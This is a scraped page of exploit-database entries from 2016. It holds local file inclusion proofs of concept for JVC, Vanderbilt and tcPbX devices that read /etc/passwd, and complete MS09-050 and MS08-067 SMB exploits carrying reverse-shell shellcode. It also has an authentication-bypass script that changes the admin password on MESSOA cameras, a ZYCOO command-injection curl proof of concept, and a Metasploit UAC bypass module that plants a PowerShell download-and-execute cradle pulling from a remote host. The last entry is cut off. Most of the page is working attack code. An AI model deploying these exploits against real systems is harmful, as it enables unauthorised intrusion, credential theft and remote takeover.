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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
1. Advisory Information
========================================
Title                   : JVC IP-Camera (VN-T216VPRU) Local File Inclusion
Vendor Homepage         : http://pro.jvc.com/
Remotely Exploitable	: Yes
Tested on Camera types	: VN-T216VPRU
Product References      : http://pro.jvc.com/prof/attributes/features.jsp?model_id=MDL102145
Vulnerability           : Local File Inclusion (Critical/High)
Date                    : 20/08/2016
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)


2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman.


3. Description
========================================
JVC IP-Camera (VN-T216VPRU) allows to unauthenticated user to include files from local server such as /etc/passwd, /etc/shadow or config.ini which contains all credentials and other configurations.


4. Proof-of-Concept:
========================================
For example you can get /etc/passwd
http://host:port/cgi-bin/check.cgi?file=../../../etc/passwd

Or config.ini file:

http://host:port/cgi-bin/check.cgi?file=config.ini


5. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.
HireHackking 
1. Advisory Information
========================================
Title                   : Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR) Local File Inclusion
Vendor Homepage         : https://is.spiap.com/
Remotely Exploitable	: Yes
Tested on Camera types	: CCPW3025-IR , CVMW3025-IR
Product References      : https://is.spiap.com/products/video/1_cameras/11_ip_camerars/bullet-kameror/v54561-c117-a100.html
+                       : https://uk.spiap.com/products/video/1_cameras/11_ip_camerars/114_vandal_resistent_dome_cameras/cvmw3025-ir.html
Vulnerability           : Local File Inclusion (Critical/High)
Shodan Dork             : title:"Vanderbilt IP-Camera"
Date                    : 20/08/2016
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)


2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman.


3. Description
========================================
Vanderbilt IP-Camera (CCPW3025-IR + CVMW3025-IR) allows to unauthenticated user to include files from local server such as /etc/passwd, /etc/shadow or config.ini which contains all credentials and other configurations.


4. Proof-of-Concept:
========================================
For example you can get /etc/passwd
http://host:port/cgi-bin/check.cgi?file=../../../etc/passwd
http://host:port/cgi-bin/chklogin.cgi?file=../../../etc/passwd

Or config.ini file:

http://host:port/cgi-bin/check.cgi?file=config.ini
http://host:port/cgi-bin/chklogin.cgi?file=config.ini




5. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.
HireHackking 
# EDB-Note: Source ~ https://raw.githubusercontent.com/ohnozzy/Exploit/master/MS09_050.py

#!/usr/bin/python
#This module depends on the linux command line program smbclient. 
#I can't find a python smb library for smb login. If you can find one, you can replace that part of the code with the smb login function in python.
#The idea is that after the evil payload is injected by the first packet, it need to be trigger by an authentication event. Whether the authentication successes or not does not matter.
import tempfile
import sys
import subprocess
from socket import socket
from time import sleep
from smb.SMBConnection import SMBConnection


try:

	target = sys.argv[1]
except IndexError:
	print '\nUsage: %s <target ip>\n' % sys.argv[0]
	print 'Example: MS36299.py 192.168.1.1 1\n'
	sys.exit(-1)

#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443  EXITFUNC=thread  -f python
shell =  ""
shell += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"   #fce8820000006089e531c0648b
shell += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shell += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shell += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shell += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shell += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shell += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shell += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shell += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shell += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
shell += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shell += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
shell += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
shell += "\xff\xd5\x6a\x05\x68\xc0\xa8\x1e\x4d\x68\x02\x00\x01"
shell += "\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
shell += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
shell += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
shell += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
shell += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"
shell += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
shell += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
shell += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"
shell += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"
shell += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"
shell += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0"
shell += "\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shell += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
shell += "\x53\xff\xd5"



host = target, 445

buff ="\x00\x00\x03\x9e\xff\x53\x4d\x42"
buff+="\x72\x00\x00\x00\x00\x18\x53\xc8"
buff+="\x17\x02" #high process ID
buff+="\x00\xe9\x58\x01\x00\x00"
buff+="\x00\x00\x00\x00\x00\x00\x00\x00"
buff+="\x00\x00\xfe\xda\x00\x7b\x03\x02"
buff+="\x04\x0d\xdf\xff"*25
buff+="\x00\x02\x53\x4d"
buff+="\x42\x20\x32\x2e\x30\x30\x32\x00"
buff+="\x00\x00\x00\x00"*37
buff+="\xff\xff\xff\xff"*2
buff+="\x42\x42\x42\x42"*7
buff+="\xb4\xff\xff\x3f" #magic index
buff+="\x41\x41\x41\x41"*6
buff+="\x09\x0d\xd0\xff" #return address

#stager_sysenter_hook from metasploit

buff+="\xfc\xfa\xeb\x1e\x5e\x68\x76\x01"
buff+="\x00\x00\x59\x0f\x32\x89\x46\x5d"
buff+="\x8b\x7e\x61\x89\xf8\x0f\x30\xb9"
buff+="\x16\x02\x00\x00\xf3\xa4\xfb\xf4"
buff+="\xeb\xfd\xe8\xdd\xff\xff\xff\x6a"
buff+="\x00\x9c\x60\xe8\x00\x00\x00\x00"
buff+="\x58\x8b\x58\x54\x89\x5c\x24\x24"
buff+="\x81\xf9\xde\xc0\xad\xde\x75\x10"
buff+="\x68\x76\x01\x00\x00\x59\x89\xd8"
buff+="\x31\xd2\x0f\x30\x31\xc0\xeb\x31"
buff+="\x8b\x32\x0f\xb6\x1e\x66\x81\xfb"
buff+="\xc3\x00\x75\x25\x8b\x58\x5c\x8d"
buff+="\x5b\x69\x89\x1a\xb8\x01\x00\x00"
buff+="\x80\x0f\xa2\x81\xe2\x00\x00\x10"
buff+="\x00\x74\x0e\xba\x00\xff\x3f\xc0"
buff+="\x83\xc2\x04\x81\x22\xff\xff\xff"
buff+="\x7f\x61\x9d\xc3\xff\xff\xff\xff"
buff+="\x00\x04\xdf\xff\x00\x04\xfe\x7f"
buff+="\x60\x6a\x30\x58\x99\x64\x8b\x18"
buff+="\x39\x53\x0c\x74\x2b\x8b\x43\x10"
buff+="\x8b\x40\x3c\x83\xc0\x28\x8b\x08"
buff+="\x03\x48\x03\x81\xf9\x6c\x61\x73"
buff+="\x73\x75\x15\xe8\x07\x00\x00\x00"
buff+="\xe8\x0d\x00\x00\x00\xeb\x09\xb9"
buff+="\xde\xc0\xad\xde\x89\xe2\x0f\x34"
buff+="\x61\xc3\x81\xc4\x54\xf2\xff\xff"

buff+=shell

s = socket()
s.connect(host)
s.send(buff)
s.close() 
#Trigger the above injected code via authenticated process.
subprocess.call("echo '1223456' | rpcclient -U Administrator %s"%(target), shell=True)
HireHackking 
import struct
import time
import sys


from threading import Thread    #Thread is imported incase you would like to modify


try:

    from impacket import smb

    from impacket import uuid

    from impacket import dcerpc

    from impacket.dcerpc.v5 import transport


except ImportError, _:

    print 'Install the following library to make this script work'

    print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'

    print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'

    sys.exit(1)


print '#######################################################################'

print '#   MS08-067 Exploit'

print '#   This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).'

print '#   The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi'

print '#######################################################################\n'


#Reverse TCP shellcode from metasploit; port 443 IP 192.168.40.103; badchars \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40;
#Make sure there are enough nops at the begining for the decoder to work. Payload size: 380 bytes (nopsleps are not included)
#EXITFUNC=thread Important!
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443  EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python
shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\x2b\xc9\x83\xe9\xa7\xe8\xff\xff\xff\xff\xc0\x5e\x81"
shellcode += "\x76\x0e\xb7\xdd\x9e\xe0\x83\xee\xfc\xe2\xf4\x4b\x35"
shellcode += "\x1c\xe0\xb7\xdd\xfe\x69\x52\xec\x5e\x84\x3c\x8d\xae"
shellcode += "\x6b\xe5\xd1\x15\xb2\xa3\x56\xec\xc8\xb8\x6a\xd4\xc6"
shellcode += "\x86\x22\x32\xdc\xd6\xa1\x9c\xcc\x97\x1c\x51\xed\xb6"
shellcode += "\x1a\x7c\x12\xe5\x8a\x15\xb2\xa7\x56\xd4\xdc\x3c\x91"
shellcode += "\x8f\x98\x54\x95\x9f\x31\xe6\x56\xc7\xc0\xb6\x0e\x15"
shellcode += "\xa9\xaf\x3e\xa4\xa9\x3c\xe9\x15\xe1\x61\xec\x61\x4c"
shellcode += "\x76\x12\x93\xe1\x70\xe5\x7e\x95\x41\xde\xe3\x18\x8c"
shellcode += "\xa0\xba\x95\x53\x85\x15\xb8\x93\xdc\x4d\x86\x3c\xd1"
shellcode += "\xd5\x6b\xef\xc1\x9f\x33\x3c\xd9\x15\xe1\x67\x54\xda"
shellcode += "\xc4\x93\x86\xc5\x81\xee\x87\xcf\x1f\x57\x82\xc1\xba"
shellcode += "\x3c\xcf\x75\x6d\xea\xb5\xad\xd2\xb7\xdd\xf6\x97\xc4"
shellcode += "\xef\xc1\xb4\xdf\x91\xe9\xc6\xb0\x22\x4b\x58\x27\xdc"
shellcode += "\x9e\xe0\x9e\x19\xca\xb0\xdf\xf4\x1e\x8b\xb7\x22\x4b"
shellcode += "\x8a\xb2\xb5\x5e\x48\xa9\x90\xf6\xe2\xb7\xdc\x25\x69"
shellcode += "\x51\x8d\xce\xb0\xe7\x9d\xce\xa0\xe7\xb5\x74\xef\x68"
shellcode += "\x3d\x61\x35\x20\xb7\x8e\xb6\xe0\xb5\x07\x45\xc3\xbc"
shellcode += "\x61\x35\x32\x1d\xea\xea\x48\x93\x96\x95\x5b\x35\xff"
shellcode += "\xe0\xb7\xdd\xf4\xe0\xdd\xd9\xc8\xb7\xdf\xdf\x47\x28"
shellcode += "\xe8\x22\x4b\x63\x4f\xdd\xe0\xd6\x3c\xeb\xf4\xa0\xdf"
shellcode += "\xdd\x8e\xe0\xb7\x8b\xf4\xe0\xdf\x85\x3a\xb3\x52\x22"
shellcode += "\x4b\x73\xe4\xb7\x9e\xb6\xe4\x8a\xf6\xe2\x6e\x15\xc1"
shellcode += "\x1f\x62\x5e\x66\xe0\xca\xff\xc6\x88\xb7\x9d\x9e\xe0"
shellcode += "\xdd\xdd\xce\x88\xbc\xf2\x91\xd0\x48\x08\xc9\x88\xc2"
shellcode += "\xb3\xd3\x81\x48\x08\xc0\xbe\x48\xd1\xba\x09\xc6\x22"
shellcode += "\x61\x1f\xb6\x1e\xb7\x26\xc2\x1a\x5d\x5b\x57\xc0\xb4"
shellcode += "\xea\xdf\x7b\x0b\x5d\x2a\x22\x4b\xdc\xb1\xa1\x94\x60"
shellcode += "\x4c\x3d\xeb\xe5\x0c\x9a\x8d\x92\xd8\xb7\x9e\xb3\x48"
shellcode += "\x08\x9e\xe0"

nonxjmper = "\x08\x04\x02\x00%s"+"A"*4+"%s"+"A"*42+"\x90"*8+"\xeb\x62"+"A"*10
disableNXjumper = "\x08\x04\x02\x00%s%s%s"+"A"*28+"%s"+"\xeb\x02"+"\x90"*2+"\xeb\x62"
ropjumper = "\x00\x08\x01\x00"+"%s"+"\x10\x01\x04\x01";
module_base = 0x6f880000
def generate_rop(rvas):
	gadget1="\x90\x5a\x59\xc3"
	gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]	
	gadget3="\xcc\x90\xeb\x5a"	
	ret=struct.pack('<L', 0x00018000)
	ret+=struct.pack('<L', rvas['call_HeapCreate']+module_base)
	ret+=struct.pack('<L', 0x01040110)
	ret+=struct.pack('<L', 0x01010101)
	ret+=struct.pack('<L', 0x01010101)
	ret+=struct.pack('<L', rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret']+module_base)
	ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)
	ret+=gadget1
	ret+=struct.pack('<L', rvas['mov [eax], ecx / ret']+module_base)
	ret+=struct.pack('<L', rvas['jmp eax']+module_base)
	ret+=gadget2[0]
	ret+=gadget2[1]
	ret+=struct.pack('<L', rvas['mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret']+module_base)
	ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)
	ret+=gadget2[2]
	ret+=struct.pack('<L', rvas['mov [eax+0x10], ecx / ret']+module_base)
	ret+=struct.pack('<L', rvas['add eax, 8 / ret']+module_base)
	ret+=struct.pack('<L', rvas['jmp eax']+module_base)
	ret+=gadget3	
	return ret
class SRVSVC_Exploit(Thread):

    def __init__(self, target, os, port=445):

        super(SRVSVC_Exploit, self).__init__()

        self.__port   = port

        self.target   = target
	self.os	      = os


    def __DCEPacket(self):
	if (self.os=='1'):
		print 'Windows XP SP0/SP1 Universal\n'
		ret = "\x61\x13\x00\x01"
		jumper = nonxjmper % (ret, ret)
	elif (self.os=='2'):
		print 'Windows 2000 Universal\n'
		ret = "\xb0\x1c\x1f\x00"
		jumper = nonxjmper % (ret, ret)
	elif (self.os=='3'):
		print 'Windows 2003 SP0 Universal\n'
		ret = "\x9e\x12\x00\x01"  #0x01 00 12 9e
		jumper = nonxjmper % (ret, ret)
	elif (self.os=='4'):
		print 'Windows 2003 SP1 English\n'
		ret_dec = "\x8c\x56\x90\x7c"  #0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
		ret_pop = "\xf4\x7c\xa2\x7c"  #0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
		jmp_esp = "\xd3\xfe\x86\x7c" #0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
		disable_nx = "\x13\xe4\x83\x7c" #0x 7c 83 e4 13 NX disable @NTDLL.DLL
		jumper = disableNXjumper % (ret_dec*6, ret_pop, disable_nx, jmp_esp*2)
	elif (self.os=='5'):
		print 'Windows XP SP3 French (NX)\n'
		ret = "\x07\xf8\x5b\x59"  #0x59 5b f8 07 
		disable_nx = "\xc2\x17\x5c\x59" #0x59 5c 17 c2 
		jumper = nonxjmper % (disable_nx, ret)  #the nonxjmper also work in this case.
	elif (self.os=='6'):
		print 'Windows XP SP3 English (NX)\n'
		ret = "\x07\xf8\x88\x6f"  #0x6f 88 f8 07 
		disable_nx = "\xc2\x17\x89\x6f" #0x6f 89 17 c2 
		jumper = nonxjmper % (disable_nx, ret)  #the nonxjmper also work in this case.
	elif (self.os=='7'):
		print 'Windows XP SP3 English (AlwaysOn NX)\n'
		rvasets = {'call_HeapCreate': 0x21286,'add eax, ebp / mov ecx, 0x59ffffa8 / ret' : 0x2e796,'pop ecx / ret':0x2e796 + 6,'mov [eax], ecx / ret':0xd296,'jmp eax':0x19c6f,'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret':0x10a56,'mov [eax+0x10], ecx / ret':0x10a56 + 6,'add eax, 8 / ret':0x29c64}
		jumper = generate_rop(rvasets)+"AB"  #the nonxjmper also work in this case.
	else:
		print 'Not supported OS version\n'
		sys.exit(-1)
	print '[-]Initiating connection'

        self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)

        self.__trans.connect()

        print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target

        self.__dce = self.__trans.DCERPC_class(self.__trans)

        self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))




        path ="\x5c\x00"+"ABCDEFGHIJ"*10 + shellcode +"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00"  + jumper + "\x00" * 2

        server="\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
        prefix="\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"

        self.__stub=server+"\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00" + path +"\xE8\x03\x00\x00"+prefix+"\x01\x10\x00\x00\x00\x00\x00\x00"

        return



    def run(self):

        self.__DCEPacket()

        self.__dce.call(0x1f, self.__stub) 
        time.sleep(5)
        print 'Exploit finish\n'



if __name__ == '__main__':

       try:

           target = sys.argv[1]
	   os = sys.argv[2]

       except IndexError:

				print '\nUsage: %s <target ip>\n' % sys.argv[0]

				print 'Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n'
				print 'Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n'

				sys.exit(-1)



current = SRVSVC_Exploit(target, os)

current.start()
HireHackking 
Vulnerable hardware : tcpbx voip distro
Vendor : www.tcpbx.org
Author : Ahmed sultan (@0x4148)
Email : 0x4148@gmail.com

Summary : According to the vendor's site ,
tcPbX is a complete and functional VoIP phone system based on Asterisk open
source software and CentOS operating system.
The simplified installation and the new administration portal allow you to
have a full featured phone system in less than an hour without specific
skills on linux or asterisk

Vulnerable file : /var/www/html/tcpbx/index.php
The software suffer from LFI flaw because of the tcpbx_lang parameter isn't
sanitized before being proceeded in the file

Request
GET /tcpbx/ HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:47.0)
Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: tcpbx_lang=../../../../../../../../../../etc/passwd%00;
PHPSESSID=cupsei1iqmv2bqa81pkcvg4jg1
Connection: close
Cache-Control: max-age=0
-----------------------------------
Response
HTTP/1.1 200 OK
Date: Fri, 19 Aug 2016 15:45:30 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 23874

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
HireHackking 
# 
#
#  Multiple MESSOA IP-Cameras auth bypass admin user/password changer
#
#  Tested:
#  MESSOA NIC 835 Release: X.2.1.8
#  MESSOA NIC 835-HN5 Release: X.2.1.17
#  MESSOA NIC 836 Release: X.2.1.7
#  MESSOA NDZ 860 Release: X.3.0.6.1
#  MESSOA
#
#  Copyright 2016 (c) Todor Donev 
#  <todor.donev at gmail.com>
#  http://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#  
#  Disclaimer:
#  This or previous programs is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#  
#  Use them at your own risk!
#  
 
if [[ $# -gt 3 || $# -lt 2 ]]; then
        echo "  [ MESSOA IP-Cameras auth bypass admin user/password changer"
        echo "  [ ==="
        echo "  [ Usage: $0 <target> <user> <password>"
        echo "  [ Example: $0 192.168.1.200:80 hacker teflon"
        echo "  [ ==="
        echo "  [ Copyright 2016 (c) Todor Donev  <todor.donev at gmail.com>" 
        echo "  [ Website:   http://www.ethical-hacker.org/"
        echo "  [ Facebook:  https://www.facebook.com/ethicalhackerorg "
        exit;
fi
GET=`which GET 2>/dev/null`
if [ $? -ne 0 ]; then
        echo "  [ Error : libwww-perl not found =/"
        exit;
fi
        GET "http://$1/cgi-bin/writefile.cgi?DEFonoff_adm=&Adm_ID=$2&Adm_Pass1=$3&Adm_Pass2=$3&UpSectionName=ADMINID" 0&> /dev/null <&1
HireHackking 
Vulnerable hardware : ZYCOO IP phone system
Vendor : zycoo.com
Author : Ahmed sultan (@0x4148)
Email : 0x4148@gmail.com

Summary : According to the vendor's site , 
CooVox Series IP Phone System is the most innovative solution for VoIP telecommunication in SMB (Small and Medium-sized Business) market.
They provide not only traditional PBX functions such as automated attendant and voicemail,
but also offer many advance telephony features, including remote extensions, remote office connection,
IVR, call recording, call detail records(CDR)…

Vulnerable file : /www/cgi-bin/system_cmd.cgi

Code shot : 

#!/bin/hush
printf '\r\n'
if [ -n "$REQUEST_METHOD" ]; then
        case "$REQUEST_METHOD" in
        (GET)
        if [ -n "$QUERY_STRING" ]; then
        for args in `echo "$QUERY_STRING" | tr "&" " "`
        do
                param=`echo "$args" | cut -d "=" -f 1`
                value=`echo "$args" | cut -d "=" -f 2`
                eval "export $param=$value"
        done
        fi
        ;;
  esac
fi
INI_FILE=/etc/asterisk/manager.conf
INI_SECTION=$username
eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \
    -e 's/;.*$//' \
    -e 's/[[:space:]]*$//' \
    -e 's/^[[:space:]]*//' \
    -e "s/^\(.*\)=\([^\"']*\)$/\1=\'\2\'/" \
   < $INI_FILE \
    | sed -n -e "/^\[$INI_SECTION\]/,/^\s*\[/{/^[^;].*\=.*/p;}"`
password="`/etc/scripts/decodeURI $password`"
[ -z "$secret" ] && secret=`/etc/scripts/getkeyvalue.sh ${INI_SECTION} vmsecret`
if [ "$password" = "$secret" ]; then
        cmd=`echo $cmd | sed 's/%20/ /g'`
#       cmd=`echo $cmd | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g;s/?r//g' | xargs echo`
        $cmd

the GET parameter cmd is freely available to directly execute system commands with no prior required authentication
which lead to full hardware takeover

POC
[0x4148:/R1z]# curl http://server:9999/cgi-bin/system_cmd.cgi\?cmd\='cat%20/etc/passwd'
root:$1$C6ouMLFa$pb2/Bu1bcWpBNcX38jTva0:0:0:root:/:/bin/sh
nobody:x:99:99:Nobody::

Also by reading file /etc/asterisk/manager.conf
hardware admin's password can be obtained in plain text

Fixing?
Unfortunately the hardware frontend really depend on this file , and the vendor is super lazy on replying on the emails regarding this vulnerability
so , best fixation for now is enabling the web interface browsing from the local network only
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::EXE
  include Post::File
  include Post::Windows::Priv
  include Post::Windows::Runas
  include Post::Windows::Registry
  include Post::Windows::Powershell


  def initialize(info={})
    super( update_info(info,
      'Name'          => 'Windows Escalate UAC Protection Bypass with Fileless',
      'Description'   => %q{
        This module will bypass Windows UAC by utilizing eventvwr.exe and hijacking entries registry on Windows.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
        'Matt Graeber',
		'Enigma0x3',
        'Pablo Gonzalez' # Port to local exploit
        ],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'Targets'       => [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
      ],
      'DefaultTarget' => 0,
      'References'    => [
        [ 'URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/' ],['URL','http://www.elladodelmal.com/2016/08/como-ownear-windows-7-y-windows-10-con.html'],
      ],
      'DisclosureDate'=> "Aug 15 2016"
    ))

    register_options([
      OptString.new('FILE_DYNAMIC_PAYLOAD',[true,'Payload PSH Encoded will be generated here (Not include webserver path)']),
      OptString.new('IPHOST',[true,'IP WebServer where File Payload will be downloaded']),
      OptBool.new('LOCAL',[true,'File Payload is in this machine?',true] ),			
    ])

  end

  def check_permissions!
    # Check if you are an admin
    vprint_status('Checking admin status...')
    admin_group = is_in_admin_group?

    if admin_group.nil?
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    else
      if admin_group
        print_good('Part of Administrators group! Continuing...')
      else
        fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
      end
    end

    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
    end
  end

  def exploit
    validate_environment!

    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
        "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
      )
    when UAC_DEFAULT
      print_good 'UAC is set to Default'
      print_good 'BypassUAC can bypass this setting, continuing...'
    when UAC_NO_PROMPT
      print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
      runas_method
      return
    end

    keys = registry_enumkeys('HKCU\Software\Classes\mscfile\shell\open\command')

    if keys == nil
	print_good("HKCU\\Software\\Classes\\mscfile\\shell\\open\\command not exist!")
    end    

    key = registry_createkey('HKCU\Software\Classes\mscfile\shell\open\command')  
    reg = "IEX (New-Object Net.WebClient).DownloadString(\'http://#{datastore['IPHOST']}/#{datastore['FILE_DYNAMIC_PAYLOAD']}\')"

    command = cmd_psh_payload(payload.encoded, 'x86',{:remove_comspec => true,:encode_final_payload => true})
    if datastore['LOCAL']
        if File.exists?("/var/www/html/#{datastore['FILE_DYNAMIC_PAYLOAD']}")
	   File.delete("/var/www/html/#{datastore['FILE_DYNAMIC_PAYLOAD']}")
	end
	file_local_write("/var/www/html/#{datastore['FILE_DYNAMIC_PAYLOAD']}",command)
    end

    result = registry_setvaldata('HKCU\Software\Classes\mscfile\shell\open\command','bypass','C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C ' + reg,'REG_SZ')
    if result
